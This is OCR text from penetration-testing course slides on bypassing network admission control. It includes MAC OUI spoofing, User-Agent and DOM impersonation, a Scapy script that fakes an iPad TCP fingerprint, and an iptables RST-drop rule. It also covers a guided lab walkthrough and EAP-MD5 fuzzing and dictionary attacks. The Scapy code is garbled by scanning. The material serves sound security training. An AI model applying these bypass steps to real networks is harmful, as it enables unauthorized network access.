use your preferred tool to impersonate MAC and IP address information to bypass the captive portal
authentication requirement.

Cpscam is available at http://www.willhackforsushi.com/code/cpscam.pl. In order to use this tool
you will need to install the Perl NetPacket:: 1P module, which can be done by running the following

command:

S sudo perl -MCPAN -e 'install NetPacket::IP'
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Auth. Bypass Opportunity

e Some devices may be excluded from authentication and
agent checks

¢ Identify the NAC vendor in use
— Cisco, Bradford, ForeScout, etc.
— What client OS's do they support?
~ What is likely to be present, but not supported by the NAC
vendor?
e MAC QUI often used to "goodlist" devices that are
exempt from validation
— NAC vendors seemed to catch on to this loophole pretty quickly
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Authentication Bypass Opportunity

Many NAC implementations using a dissolvable or clientless agent must accommodate systems
where the agent is not supported. Mobile devices such as phones, iPad's, handhelds, and other PDA's
may require network access, but are not supported by the NAC vendor. In these cases, the
organization may exclude specific devices from the authentication and compliance checks. As
attackers, this crcates an opportunity for us to impersonate the unsupported device to bypass the
NAC system.

To leverage this technique, it is useful to first identify the NAC vendor in use. Next, identify the
client OSs that arc unsupported but likely to be in usc by the target organization. Select the
supported client as the target to impersonate to bypass the NAC system.

Many NAC vendors started with a MAC OUI "goodlist" of devices that are exempt from
authentication and posture validation. Early NAC bypass was as simple as changing your Ethernet
or wircless MAC address to match the OUI of an iPad or other exempt device. Sadly for us, NAC
vendors caught onto this loophole quickly, introducing additional system checks to catch people who
attempt to bypass NAC.
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System Validation

e NAC attempts to validate the MAC
prefix matches the OS
— Browser User-Agent matching
— Passive OS fingerprinting
— JavaScript OS validation

e May be necessary to manipulate the
attacker system to keep up the ruse

\ We'll use iOS 7 as our impersonation target for examples

ing, Exploit Wridng, and Frhical Hacking

System Validation

In order to prevent people from bypassing the NAC system, vendors introduced additional system
validation checks beyond MAC OUI validation. These checks aim to validate that the MAC OUI
and additional settings all support the identity of the system, including:

¢ Web Browscr User-Agent Matching: The NAC will inspect HTTP traffic to identify the
HTTP User-Agent string, ensuring that it does not wrongfully reveal an operating system or
platform that does not match the other criteria.

*  Passive OS Fingerprinting: By passively observing traffic on the network, the NAC vendor
identifics the client operating system in use, differentiating Windows, Linux, OS X and
embedded platforms.

= JavaScript OS Validation: Some NAC systems will insert custom JavaScript into the HTTP
response to collect information about the client's browser Domain Object Model (DOM).

While these methods make it more difficult to impersonate devices with a policy exception, a
cautious attacker can still impersonate any system if they have prior knowledge as to how the system
with the exception policy behaves. For our examples, we'll examine how an attacker can
impersonate an Apple iPad device with i10S 7. Knowledge of how the iPad platform behaves is
useful, as it is universally not supported by clientless NAC agents (duc to limitations in the Safari
browser and Apple's walled-garden client softwarc approach) and yct popular in many organizations
as a client device.
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e Straightforward to impersonate with
Firefox plugin User Agent Switcher
— Also impersonates some JavaScript
elements used for validation
e Vendors quickly caught on and added
additional tests for OS validation
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User-Agent Impersonation

User-Agent impersonation is straightforward using Firefox and the User Agent Switcher plugin.
After installing this plugin, clicking Tools | Default User Agent | Edit User Agent... will open the
User Agent Switcher Options dialog where you can add a new Uscr-Agent option. Clicking New |
New User Agent will open the "New User Agent" dialog where you can supply the following basic
options:

e Description: User in the Tools | Default User Agent menu to describe the new User-Agent.
* User Agent: The content of the User-Agent supplied by the browser.

The User Agent Switcher plugin also allows us to specify additional options in the New User Agent
dialog that represent portions of the browser DOM:

*  App Code Name: Overrides the value of the browser.appCodeName DOM key
* App Name: Overrides the valuc of the browser.appName DOM key

e App Version: Overrides the valuc of the browser.appVersion DOM key

* Platform: Overrides the value of the browser.platform DOM key

¢ Vendor: Overrides the value of the browser.vendor DOM key

¢ Vendor Sub: Overrides the value of the browser.vendorSub DOM key

To configure the User Agent Switcher plugin to impersonate the iPad, create a new entry with the
following settings. Ficlds that should remain empty arc noted with "<blank>":
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Description: iOS 7 iPad

User Agent: Mozilla/5.0 (iPad; CPU iPad OS 7_0 like Mac OS X) AppleWebKit/546.10 (KHTML,
like Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25

App Code Name: Mozilla

App Name: Netscape

App Version: 5.0 (iPad; CPU iPad OS 7 0 like Mac OS X) AppleWebKit/546.10 (KHTML, like
Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25

Platform: iPad

Vendor: Apple Computer, Inc.

Vendor Sub: <blank>
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TCP Stack Fingerprinting

e Simple enhancement for inline CP
gateways
— Leverage passive fingerprints for additional OS
validation enforcement
e Alert on clients who fail fingerprint vs. MAC
OUI, reject access request

pOf - passive os fingerprinting utility, wersion 2.0.8
(C) M. Zalewski <lcamtuf@dione.cc>», W. Stearns <wstearns@pobox.com>
plf: listening (SYN) on 'eth0', 264 sigs (14 generic, cksum 3E7CD339),
el Yalll.
10.10.10.194:47638 - Linux 2.6 (newer, 2) (up: 11930 hrs)
=> 10,10.10.110:80 (distance 0, link: ethernet/modem)
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TCP Stack Fingerprinting

An additional method used for identifying the OS of clients in a NAC environment is through TCP
stack fingerprinting. Primarily used by inline captive portal systems, the gatcway can passively
monitor TCP traffic to identify characteristics that correlate to the known platform. This technique is
similar to that used by the open-source tool "pOf", which examines TCP SYN frames for the
following characteristics:

e Initial Time To Live (TTL)

e TCP Window Size

e Ovecrall frame size for initial TCP SYN frames

¢ Status of the Don't Fragment (DF) flag

°  Value of the Maximum Segment Size

e Value of the TCP Window Scale

* Behavior of the TCP Timestamp option

» Status of the Selective ACK flag

¢ Order and presence of TCP flags including NOP's

* Uniquc quirks for the TCP SYN packet (such as packet data following TCP options)

This slide includes an example of the output from pOf characterizing a Linux client. Similar
functionality is used by many NAC vendors to reject client systems who attempt to access policy
cxceptions.
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Windows - OSfuscate

Onc option for OS impersonation for Windows is the OSfuscate tool from Irongeek, availablc at
http://www.irongeck.com/i.php?page=sccurity/code. OSfuscate uses a simple list of Windows INI
formatted profile descriptor files to describe several characteristics of a target TCP/IP stack including:

e ttl - The initial IP TTL value

e stamp - Sct to | (true) if the OS supports TCP timestamps

* pmtu - Sct to 1 (truc) if the OS supports path MTU discovery

* urg - Setto 1 if the OS uses RFC1122 handling recommendations for urgent data; set to 0 if
the OS uses BSD-style urgent data handling procedures

e window - The default window size defined in the TCP header

* sack - Sct to 1 (true) if the OS supports sclective acknowledgement

° mtu - The maximum transmission unit size of the OS

OSfuscate, in the latest version of 0.3 at the time of this writing, supports thc impersonation of several
client opcrating systems including PalmOS, Playstation, Linux, FreceBSD and others. While OSfuscate
docs not include support for impersonating modern 108 devices, we can add an "ios7.0s" file to the
OSfuscate/profiles dircctory as shown on this slide. Next, run the OSfuscate.exe tool, sclect the target
OS and reboot to make the settings effective. OSfuscate also includes an option to remove all settings
when you want to revert to the original OS parameters.

While OSfuscate can confusc some operating system fingerprinting tools, it cannot modify the order or
configuration of TCP options, as this is not exposed in an available registry setting. A NAC tool that
does carcful inspection of client TCP/IP traffic will be able to detect an attempt to cvade system
detection.
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Initial OS Masquerading

Few NAC OS detection systems can watch every
packet for fingerprinting

— Cisco NAC minimum 5-minute validate intervals

Can send initial custom traffic matching iPad, then
standard OS traffic

e Scapy can send iPad-like TCP traffic, completing 3-
way handshake

Must suppress local OS from sending RST first

# iptables -F

# iptables -A OUTPUT -p tcp --destination-port 80 --tcp-flags RST
EST -s 10.10.10.104 -d 10.10.10.110 ~-j DROP

# iptables -L

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

DROP ¢ ¥ S L M G s 10.10.10.110 top
dpt:www flags:RST/RST

Initial OS Masquerading

Short of modifying the Linux kernel source, it is not possible to manipulate a Linux device to include
exactly the behavior of an iPad device. Although some TCP characteristics can be manipulated
through the sys filesystem objects, settings such as presence of TCP options (including the order and
separation with NOP bytes), maximum segment size representation, and other parameters cannot be
changed, preventing simple modification of the Linux kernel to appear as if it were an iPad device.

However, a limitation on NAC systems is to the attacker's benefit. NAC systems do not attempt to
perform OS characterization and client checking for each packet; instcad, clients are evaluated
initially when they connect to the network and at later regular intervals. On Cisco NAC systems, for
example, clients are evaluated initially and then as frequently as every five minutes but not less, due
to performance limitations of the product.

As a result, we can craft packets using any arbitrary settings to send for the NAC to use in its
cvaluation, generating our traffic to appcar like an iPad device. Tools such as Scapy make this
straightforward, allowing us to send the initial TCP SYN and complete the three-way handshake.
Note that in order to use Scapy to complete the three-way handshake, we must suppress the TCP
RST our IP address wants to send when it gets the SYN ACK from the upstrcam device. We can do
this using the iptables tool as shown on this slide.
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Scapy iPad-like TCP Connection

f!fasr/bin/python
from scapy.all import *

DITIF="10.10.10.110" 4 Specify your target where HAC will pbserve it
SPORT=RandNum (1024, 65535}

ip=IP{dst=DSTIP, flags="DF", ttl=@d)
topept = [ ("MBsY, 1460, (VYHOP",None), ["WScale",2), ("NOEY,Nong),
{THOPY, Mone ), ("Timestamp™, (123, 08), {"SA&ckOE™,™"), (“"DOL",Nons)
SYN=TCF |{sport=5P0RT, dport=80, flags="5", seg=10, window=0xfft¥f, cptions=tcpopt]
SYNACK=sri{(ip/3YN) # Send the packet and record the response as SYNACE

my ack = SYNACK.zeqg + 1 § Use the SYN/ACKE response to get initial seq. numbery
B TCR{spoct=8F0RT, dport=80, flags="A", seg-11, sck=my ack, windeow=0xfEff}
send (ip/ACE}

data = "GET / HTTP/i.l\r\nHost: " + DISTIE + "Nr\ Moziila/5.0 [iFad; CPU iPad 0F
7 0 like Mac 083 ¥) [...1%ehknhrkn”™

POSH=TCP {sport=5PORT, dport=80, flags="PA", seg=11, ack=my ack, window=0xffff)
send{ip/PUSH/data)

BST=TCE [sport=5PORT, dport =80, Elags="R", seg=11, ack=0, window=0xLfEf)
sand | R3T)

pOf: listering
10.10.10.104:6

Scapy iPad-like TCP Connection

The Scapy script on this slide creates a TCP SYN frame with TCP options, IP options, TTL, and
Windows sizc matching that of an iPad. The "srl()" function scnds the TCP SYN and receives the
associated responsc in the variable SYNACK. The initial sequence number (ISN) of the responding
host is incremented by one ("SYNACK.seq + 1") and used in the third frame, completing the three
way handshake. Finally, a HTTP GET request is sent, including the User-Agent of the iPad's Safari
browser.

Using this script, the pOf tool identifics the traffic as an "iOS Apple iPad/iTouch/iPad" device,
sufficiently fooling a NAC device into thinking the TCP stack is of an iPad or related device. Once
you complete the threc-way handshake and send data, the NAC system will pass the client for this
TCP fingerprint check, allowing you to disable the local firewall rules we created carlier ("iptables-
F") and usc your native operating system TCP stack.
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JavaScript OS Validation

e CP server may insert JS in browser to validate OS

e Elements navigator.buildID, navigator.oscpu,
navigator.product and navigator.productSub not
accessible through User Agent Switcher

4 [a (mn] fﬁ 172.16.0.117/jstesthim
pravigator appCodeName: fMozilla
avigaor appName Netscape .
5.0 (iPad, U; CPU OS 4 2 1 like Mac OS X, en-us) AppleWebKi'533.17.9 (KHTML, like Gecko) Version'5.0.2

pavigmior.epp Vemion Mobile SC 148 Salur/6533.18.5
navigator. buildiD jundelined *
avigator oscpa: undefined

puavigator. platform: iPad s
navigator product jUecko ‘

I.l\lg.nur.gmhhlhu!! !3lkn||107 .

navigator. vendor Apple Computer. Inc

navigator. vendorSub

JavaSeript OS Validation

A final technique used by captive portal systems to identify the native opcrating system of a client is
to insert JavaScript code in a HTTP server's response that queries several browser DOM fields. As
we saw earlier, the User Agent Switcher plugin for Firefox allows us to manipulate several fields in

the DOM, including navigator.appName and navigator.vendor, but it does not allow us to manipulate
four ficlds commonly used for client OS detection:

* navigator.buildID — Used to disclose the build number for the browscr, not used by Apple's
Safari on the iPad

* navigator.oscpu — Used to disclose the CPU type used on the host, not used by Apple's Safari
on the iPad

 navigator.product — Used to disclose the product name, sct to "Geceko"

 navigator.productSub — Used to disclose a sub-name to the product ficld, set to "20030107"
on Apple's Safari on the iPad

In order to bypass a NAC system using JavaScript OS validation, we nced to manipulate the
responses from these fields as well.
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Custom Browser Impersonation

T e e e

Elle Ede Yiew bhgtory Iocls Help

. N g about:config 7+ - Goog L

ot onling |+

Eiltes:  genesal £
Preference Name » Status Type Value m
font.mathfont-famiy defauft stnng STRNanlmicode, STIXSg=t-T0e Al £ i llati
generalappname override usersel  slring Netscape H -
generalappyersionoverride usersel  string 5.0 (Fad: U; CPU 05 general'xxx'overrlde seckol V...
general.autoScrcll default boolean  true
general.config.obscure_value integer

%ﬁnlhp«fmnme
genersl.oscpu.overmide
Lok || Conce

genersl startup.bre

generaluscragent l
general usersgent. Capy biame defauit string Furefou/ 368 i
generslusersgent. Copy ¥aoe 1 Anbarth string en-US
genersluseragen New » Sring }an Moxila/5.0 (iPad; U; CPUOS[ 'mi;&w-ﬂ-‘ e ﬁ
general.usersgent. Bt Integer pnng u
general Boolesn _r"h‘ Apphe Computer, Inc. genersl.oscpu.ovemide
general seragent vendorSub e tring
generslwarnOnAboutConfig defauit boolean  trus undefined
uikey.genersliccenkey default integer -1 -
LT S L _ogj | Concel |
Done

Custom Browser Impersonation

Fircfox allows us to customize the valucs that arc returned from the DOM through JavaScript by
creating configuration keys in the format general. XX X.override where "XXX" is the all-lowercase
name of the DOM suffix after "navigator." (e.g. to override navigator.oscpu we can create a key
called gencral.oscpu.override with an arbitrary string value).

1. Browse to the "about:config" page to access the Firefox configuration key menu.
Right-click on any key and select New | String.

3. In the "New String Value" dialog, enter the string "general. XX X.override", where "XXX" is
the name of the DOM key you wish to manipulate, then click OK.

4. Enter the value for the key to match that of the client you arc impersonating. In the example
on this slide, the key "general.oscpu.override" is configurcd with the string value "undefined"
matching that of the iPad.
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Exercise — Captive Portal Bypass
Scenario

 WORLD OF PAGS

e Phaos Gaming develops multi-user dungeon
games for multiple platforms

e A NAC control point protects internal access to
beta game testing servers

e You must get access to the World of Phaos RPG,
bypassing the NAC server

Exercise - Captive Portal Bypass Scenario

Phaos Gaming is a small online Role Playing Game (RPG) development company, supporting
multiple device platforms. Phaos Gaming frequently offers access to beta versions of upcoming
games for testing purposes, leveraging a Network Admission Control (NAC) point. Various
developers in Phaos Gaming have access to the user account provisioning system in the NAC server
to grant access to various users and devices as necded.

Your goal in this exercise is to access the World of Phaos RPG server, bypassing the NAC server.

World of Phaos sword image courtesy of worldofphaos.com.
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Exercise — Captive Portal
Lab Resources

e Use Kali Linux for this exercise
— "IceWeasel" is the Debian rebranded Firefox

» Configure your system to route traffic to
the 10.10.10.69 server as shown

e Download additional resources as shown

e Attempt to access the World of Phaos
game server http://wophaos.sec660.org

# route add -net 192.168.1.0/24 gw 10.10.10.69
# wget http://files.sec660.org/uaswitcher.xpi
# wget http://files.sec660.org/oui.txt

Exercise — Captive Portal, Lab Resources

For this exercise you will use Kali Linux as the attack platform. From a terminal prompt, configure
your local routing table to use the host at 10.10.10.69 as the gateway for the 192.168.1.0/24 network,
as shown on this page. Two additional resources, the User Agent Switcher plugin for Firefox
browscrs and a recent version of the IEEE OUI allocations are also helpful resources.

In this exercise you will attempt to access the World of Phaos game scrver at
http://wophaos.scc660.org. Bypass the NAC system to obtain access to your target.



Exercise — Captive Portal Access
Attempt

File Edit View History Bookmarks Tools Help

: Network Admission Control L

€[5 secs600rg - €vewe A $ @

The captive portal
server intercepts
all access
requests,
redirecting to
cp.sec660.org and
prompting for
Ppnord authentication.

Bypass this
authentication
o mechanism.

I | | i

Exercise — Captive Portal Access Attempt

Phaos Gaming NAC

Username:

The server at http://wophaos.scc660.org is on a network that is filtered by a NAC server. Any
attempts to access the game server will be captured and redirected to the cp.sec660.org login scrver,
shown on this page.

This type of network access control system is commonly used in organizations when access is
required to a resource that lacks strong authentication controls on its own, and when access has to be
granted to lots of different devices that cannot be consistently managed (such as embedded devices
including mobile phones and tablets, or any device that is not owned by the organization
implementing sccurity).
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Exercise — Captive Portal
Answers Follow

e STOP - Answers for the Captive
Portal Bypass exercise follow

e Proceed only after you have
exhausted your options for
completion on your own

e Each page gives you a little more
help if you get stuck

Exercise — Captive Portal, Answers Follow

Answers to the lab exercise follow; proceed no further unless you have exhausted your options for
completing the exercise on your own. Each page that follows gives you a little more help in casc you

get stuck.
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Exercise — Captive Portal
Authentication Failure Hint

e Multiple failed authentication
requests will present a hint

File Edit View History Bookmarks Tools Help

. Network Admission Control )l 5|

* | N sec660.0rg/inds i vc :. v Google ) Q \l;: q

/ Authentication lailed
/ ;
i
This would be easier if you were an iPad [

Exercise — Captive Portal, Authentication Failure Hint

Due to a code artifact left over during the development process, the NAC server protecting access to
the Phaos Gaming resources will display debugging messages based on specific input events. The
first debug artifact reveals a clue to the attacker, following multiple failed authentication attempts.

As shown on this page, the captive portal server indicates that, despite several authentication
attempts, access would be casier for the end-user if the system recognized the web browser as an
iPad.
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Exercise — Captive Portal
User Agent Switcher

e Install the Firefox User Agent Switcher Plugin

®

7 Firefox - File | Open File

@i- Install add-ons only from authors whom you trust.

Malicious software CBn daMage YoUr COMPUTEY oF WIOLATE your Privecy

You have asked to instail the following item

% User Agent Switcher (Auther not verfied

fileiffrootiuaswitcher xp

Cancel Install Now

Exercise — Captive Portal, User Agent Switcher

Based on the development artifact identified on the captive portal server, we may wish to proceed
with impersonating an iPad device to bypass authentication. A common mechanism for determining
the operating system of a device is to check the User Agent string in HTTP requests.

When installing the User Agent Switcher plugin for Firefox, it is common for the "Install add-ons..."
dialog to take scveral seconds to open on Kali Linux. After clicking "Open" from Firefox, wait
several seconds for the install dialog to appear. If desired, you can open the plugin again, which may
accclerate the installation process.

Using Fircfox on Kali Linux, we can install the User Agent Switcher plugin as described below:
1. From Firefox, click File | Open File.

2. Browse to the location where you downloaded the uaswitcher.xpi file. Select the file
and click Open.

3.  When prompted, proceed with the Fircfox Plugin installation by clicking "Install Now".
Restart Fircfox when prompted.
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Exercise — Captive Portal
Configure User Agent

» Configure User Agent for iPad

| Tools | Default User Agent | | Deserron (05772
] Edit User Agents User Agent Mazilal5.0 fPad CPU iPad O5 7.0 tke Mac 05 X) AppleWebKit/546.10 (K

App Code Name: | Moznita

App Nama: MNetscape
Add a new user agent -lpP Version: S0 (Pad CPU iPad OS5 7.0 Like Mac OS5 X) AppleWebKit/S46. 10 (KHTML |
Platforme iPad
Verdor Apple Computer, Ine
Tools | Default User Agent | "™ ™"
: I ipad 5 Cancel oK

Alternative: Download and import user agent XML file from
‘ http://files.sec660.org/useragentswitcher.xml

\dvanced Penerration Testing, Fxploit Writng, and FErhical Hacking

Exercise — Captive Portal, Configure User Agent
After installing the Firefox User Agent Switcher plugin, add a new uscr agent to represent an i0S 7
iPad device.

First, click Tools | Default User Agent | Edit User Agents... Next, add a new user agent, populating
the content of the form as shown on this page and below:

Description: i0OS 7 iPad

User Agent: Mozilla/5.0 (iPad; CPU iPad OS 7_0 like Mac OS X) AppleWebKit/546.10 (KHTML,
like Geeko) Version/6.0 Mobile/7E18WD Safari/8536.25

App Code Name: Mozilla

App Name: Netscape

App Version: 5.0 (iPad; CPU iPad OS 7_0 like Mac OS X) AppleWebKit/546.10 (KHTML, like
Gecko) Version/6.0 Mobile/7E18WD Safari/8536.25

Platform: iPad

Vendor: Apple Computer, Inc.

Vendor Sub: </eave blank>

Once the new user agent is added, from Firefox click Tools | Default User Agent | i0S 7 iPad to
replace the current user agent with the specified values.

As an alternative to typing all the configuration entrics for this uscr agent, you may optionally
download the useragentswitcher.xml file from the URL shown on this page. In the User Agent
Switcher Options menu, click on the Import button and select the useragentswitcher.xml file. Click
OK to finish the import process. After importing, select the "iOS 7 iPad" uscr agent (added by this
author) and click OK.
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Exercise — Captive Portal
Additional Configuration Reqd.

e Closer to successful impersonation

File Edit View History Bookmarks Tools Help }

Network Admission Control l % | Y
if- sec '-OF- e - - - T_ i o I Ou mUSt
® |3 cp sec660.0rg/index S + configure an
. . additional
haos '
P Gaming NAC system property

//~ to effectively
Iwont be 3o easily fooled. | impersonate an |

iPad for the
Phaos NAC

Username:

server.

Exercise — Captive Portal, Additional Configuration Required

Attempting to access the captive portal page again still does not grant access to the internal network,
but provides a diffcrent clue. The captive portal server indicates that it recognizes partial behavior
that matches an iPad device, but another picce is still missing. Continue to evaluate your options to
impersonate an iPad to bypass the captive portal server.
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Exercise — Captive Portal
MAC Address Analysis

e VMware guest systems use an OUI
allocated to VMware Inc.

4 ifconfig eth0 | grep HWaddr

eth( Link encap:Ethernet HWaddr 00:0c:29:5a:6f:el
# grep 00-0C-29 oui.txt

DO~0C-29 {hex) Viware, Inc.

e Identify an Apple OUI prefix and
change your MAC prefix

riting, and Frhical Hacking

Exercise — Captive Portal, MAC Address Analysis

You can inspect the current MAC address associated with the network adapter on your Kali Linux
system using the ifconfig command shown on this slide, piped to the grep command to focus on the
HWaddr valuc. All VMware guest systems usc an OUI allocated to VMware Inc. for virtual
Ethernet adapters, as we can sce by querying the oui.txt file.

Using the oui.txt file, identify an Apple OUI prefix, and change your MAC address to use the Apple
OUI instead of the VMware OUI.
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Exercise — Captive Portal
MAC Address Spoofing

¢ Change your MAC address to utilize an Apple OUI
prefix as shown below

e Return to your browser and open
http://wophaos.sec660.org

# grep Apple oui.txt | grep hex
output trimmed for space

FB-1E-DF (hex) Apple, Inc
FC-25=-3F {hax) Apple, Inc.
# ifconfig eth0 down

# ifconfig eth0 | grep HWaddr

ethO Link encap:Ethernet HWaddr 00:0c:29{5a:6f:e
# ifconfig eth0 hw ether fB8:le:df:5a:6f:el
# ifconfig ethl0 up

# route add -net 192.168.1.0/24 gw 10.10.10.69

lavanced Fenctrafion lesung, IXpIoi Wrinng, and Lrnical HMacking

Exercise — Captive Portal, MAC Address Spoofing

In the example on this page, we use the grep utility to search through the oui.txt file for any strings
that mention "Apple". We can use any of these OUI prefixes to impersonate a legitimate Apple
device MAC address with the ifconfig utility.

First, place the virtual Ethernet adapter in the down state. Next, identify your current MAC address
by running the ifconfig utility, as shown.

Using the same last three bytes as your legitimatc MAC address, impersonate the OUI of an Apple
device using the ifconfig as shown. Finally, place the interface into the up state, and re-add your
default gateway.
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Exercise — Captive Portal Access

File Edit View History Bookmarks Tools Help

i..: Network Admission Control {l"ui
i |_—\'. p.sec660.0rg v @) |Ulv Goagle Q ¢ %
User logged in.
Yeu should keeg this tab apen, and clich Cee when you want be logout Open a new 1ab o continue on ¥ the desined web page.

The Phaos Captive Portal server grants access to iPad devices
‘without credentials, granting access to the internal network.

Exercise — Captive Portal, Access

Returning to the browser and refreshing will authenticate your device, leading the Phaos captive
portal server to believe that you arc an iPad. Open a new tab per the instructions, and attempt to
access the target server at http://wophaos.scc660.org.
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Exercise — Captive Portal World
of Phaos

Fite Edit View History Bookmarks Tools Help
{ Il World of Phaos |

& | sec660.0rg v @ v G Q L

User Name:
Password:

Exercise — Captive Portal, World of Phaos

Having impersonated an iPad, you successfully evade the authentication requirement of the captive
portal server and obtain access to the World of Phaos server.

World of Phaos is an open-source role-playing game (RPG) by Zcke Walker, available at
http://worldofphaos.com/. You can also register and play on the server hosted in the lab, if you have
time after finishing the exercise.
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Exercise — Captive Portal
The Point

e Many lightweight NAC systems use weak
authentication controls

e Mobile devices often obtain a policy
exception due to platform limitations
— No Java or Flash, lack of consistent
management controls for device configuration,
etc.
e Exceptions to policies create opportunities
for exploitation

\dvanced Penerration Testing, Iixploit Writing, and Frhical Hacking

Exercise — Captive Portal, The Point

In this exercisc you exploited a captive portal server that was acting as a simple network admission
control system. Many commercial NAC systems are used by cnterprise networks with similarly
weak authentication controls, designed primarily for ease of deployment rather than robust sccurity
implementation.

Many NAC systems will open an exception policy for mobile devices, granting access only after
device fingerprinting methods from vendors such as Cisco, Juniper, Aruba Networks and Bradford
Networks successfully characterize the device. While more rigorous sccurity mechanisms are
available, they seldom scale well to unmanaged or poorly managed mobile devices that lack other
dynamic software-based validation mechanisms such as ActiveX, Java and Flash.

While these weaker captive portal systems can be evaded in many deployments, stronger options for

NAC also cxist that rely on the IEEE 802.1X authentication protocol. We'll examine IEEE 802.1X
and the various EAP mechanisms it utilizes for authentication next.
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NAC Scenario 2

Policy: Require IEEE 802.1X authentication
for all devices

e Access port is "closed" until successful
authentication completes

e An EAP method is used between
supplicant, PAE and auth. server
— Commonly EAP-MD5 for wired networks

e Supplicant must be available on all devices

— Leaving open port exceptions for embedded
systems that do not support 802.1X (or EAP)

\dvanced Penerration Tesong, | -""-{"]' it Writing, and Frhical Hacking

NAC Scenario 2

Our 2™ NAC scenario consists of a more rigorous network authentication policy, using 802.1X
authentication to validate the credentials of all devices on the network. In this scenario, a switch port
is considered "closed" by the network until successful authentication completes. The client must use
an 802.1X supplicant to authenticate to the network before the port becomes "open", granting access
to the internal network.

When 802.1X is used for network authentication, threc components are required: the supplicant or
the client software, the Port Authentication Entity (PAE), which is the switch and the authentication
scrver, which is a back-end RADIUS server. An EAP type is uscd to define how the authentication
process should take place, and the type of authentication used. In wircd NAC environments using
802.1X on a switch, simple EAP methods arc more common since it is not necessary to negotiate
encryption keys or perform mutual-authentication on the network. Commonly, the EAP-MD35
protocol is used in these scenarios.

In order to use NAC with 802.1X, all devices that are authenticating to the network must support the
EAP method in usc and have the necessary supplicant software. Devices that do not support 802.1X
or do not support the EAP type in use are generally excluded from network policies (such as printers
and other cmbedded devices), creating a bypass opportunity if an attacker can access the port.
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Supplicant RADIUS
- . -
i Switch =
e Common for wired = -
networks p | ey
e Password-based PR L S
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— Supplicant returns Nk T
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allenge) :
Station can P
now access P R—
the network. Gmm
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EAP-MDS5

The EAP-MDS5 protocol is a simple authentication mechanism. Since it is not widely used on
wircless networks, it does not need to provide more advanced authentication and cryptography
featurcs. EAP-MDS relies on password authentication between the supplicant and the RADIUS
server, where the switch forwards the traffic between the two devices.

In the first part of the EAP-MDS5 exchange, the RADIUS server issues an EAP Identity Request
frame to the supplicant. The supplicant responds with identity information, commonly the username
of the authenticating user. Next, the RADIUS server issues a 16-bytc randomly sclected challenge to
the supplicant. The supplicant uses the MDS5 hashing algorithm to computc a hash of thc EAP
scssion identifier (EAPID, included in the initial EAP Identity Request from the RADIUS scrver),
the user's password and the challenge from the RADIUS server, as shown below. The vertical bar
("|") denotes concatenation:

response = MD5(EAPID|password|challengc)

The EAP-MDS5 response value is sent back to the RADIUS scrver (observed response), which
computes its own response using the same technique (computed response). If the observed response
and the computed response match, then the RADIUS server knows the supplicant has the correct
password. The RADIUS scrver issues a "port closc" command to the switch, which will grant the
supplicant access to the network.
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Pre-authentication Traffic

w
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—_ _________ ﬁ i .
e Supplicant must be able to send EAP
traffic to RADIUS for authentication

— History of EAP buffer overflows in various
RADIUS implementations

e Switch is agnostic to EAP method, so it
does not inspect packet content

e Opportunity to fuzz, exploit RADIUS
back-end before authentication

Pre-authentication Traffic

Prior to successful authentication to the network, the supplicant has no access to the internal network,
but is allowed to communicate with the RADIUS server over the supported EAP type. This is
required to allow the supplicant to authenticate to the network and exchange EAP traffic with the
RADIUS server. Further, many RADIUS servers have demonstrated a history of sccurity
vulncrabilities in handling malformed EAP traffic.

The switch in an 802.1X environment is agnostic to the EAP method in use. The switch's only
responsibility to extract the EAP payload from the supplicant and forward it to the RADIUS server,
cncapsulated in a RADIUS Type/Length/Value (TLV) field, as shown in the illustration on this slide.
Since the switch has no interest into the content of EAP traffic, it docs not attempt to inspect the data,
forwarding the data along unmodified to the RADIUS server.

This configuration gives the attacker the opportunity to exploit any packet parsing vulnerabilities on
the RADIUS server. Without legitimate authentication credentials, an attacker can fuzz the RADIUS
scrver with malformed frames. If the switch is not returning RADIUS traffic back to the supplicant,
then the attacker knows the RADIUS scrver has stopped responding.
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Fuzzing Wired EAP/MD5
eapmd5fuzzies.py
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Fuzzing Wired EAP/MDS5 - eapmd5fuzzies.py

In a pentest, an opportunity to exploit the back-end RADIUS server prior to network authentication
would be a great finding to present to the customer. In practice, it's fairly unlikely that a customer
will scope a live fuzzing exercise against a production RADIUS server. Furthermore, a successful
crash against the RADIUS server would not net the pentester shell or other unauthorized access to
the RADIUS server until a successful exploit could be developed, requiring local access to the
vulnerable RADIUS server to understand the nature of the crash.

Fuzzing the RADIUS server can still be a useful exercise, however, it is much more efficient to
replicate the target network environment for the fuzzing test. With a switch configured for EAP-
MD5 authentication, using the same target OS, software and version of the RADIUS implementation
uscd by the customer, the pentester can leverage an EAP-MDS fuzzing tool to test the resilicncy of
the RADIUS server when presented with malformed frames.

The script eapmd5fuzzies.py (http://www.willhackforsushi.com/code/capmd5fuzzies.py) was
developed to use in EAP-MDS fuzzing exercises. It is not intended to be used as a thorough fuzzer,
but as a kick-start tool to accelerate your custom development for fuzzing EAP-MDS traffic. Using
the Sulley fuzzing framework to gencrate the malformed frames and the Scapy packet crafting
framework to deliver the malformed packets, capmdSfuzzics.py includes a simple EAP-MDS state
machine to fuzz thc EAP-MDS5 Response frame from the supplicant. EapmdSfuzzies.py rescts the
network interface and interacts with the EAP traffic to start and resct the authentication exchange for
each malformed EAP-MDS5 packet.
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EAP-MD5 Credential
Compromise

o EAP-MDS is vulnerable to an offline
dictionary attack
— Chal. and EAP ID adds randomness
— Attack could be extended for custom
rainbow tables
e Must eavesdrop on legitimate EAP-MD5 = *
authentication exchange

— Opportunistically placed hub and
automated authenticating device

— Watch for VoIP phones, printers and other
devices with static credentials

EAP-MDS5 Credential Compromise

EAP-MD?3 is vulnerable to a dictionary attack that can be exploited to recover a victim's credentials.
Since the EAP response from the authenticating client uses the EAP ID, challenge, and password to
calculate the response value, an attacker who observed the EAP ID and the challenge can repeatedly
guess the password offline until the calculated response (with the password guess) matches the
obscrved response. Although not currently implemented, the EAP-MDS password could also be
subjcct to a rainbow table attack, if the attacker can impersonate the RADIUS server and send the
EAP request frame with a static EAP ID and challenge value.

In order to mount an EAP-MDS5 credential attack, the adversary must eavesdrop on the legitimate
EAP-MDS35 authentication exchange. This can be implemented through an opportunistically placed
hub placed between a switch port and an automated-authentication device, such as a VolP phone or a
networked printer. Some switches may have a policy to shut down a port if they detect more than
onc MAC address (MPDU detection), though this is only possible if the switch detects more than one
MAC address. To eavesdrop on a legitimate authentication exchange through a hub, the attacker
does not need to generate any traffic on the network.
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XTest

xtest.sf.net

e Parses libpcap or live interface for
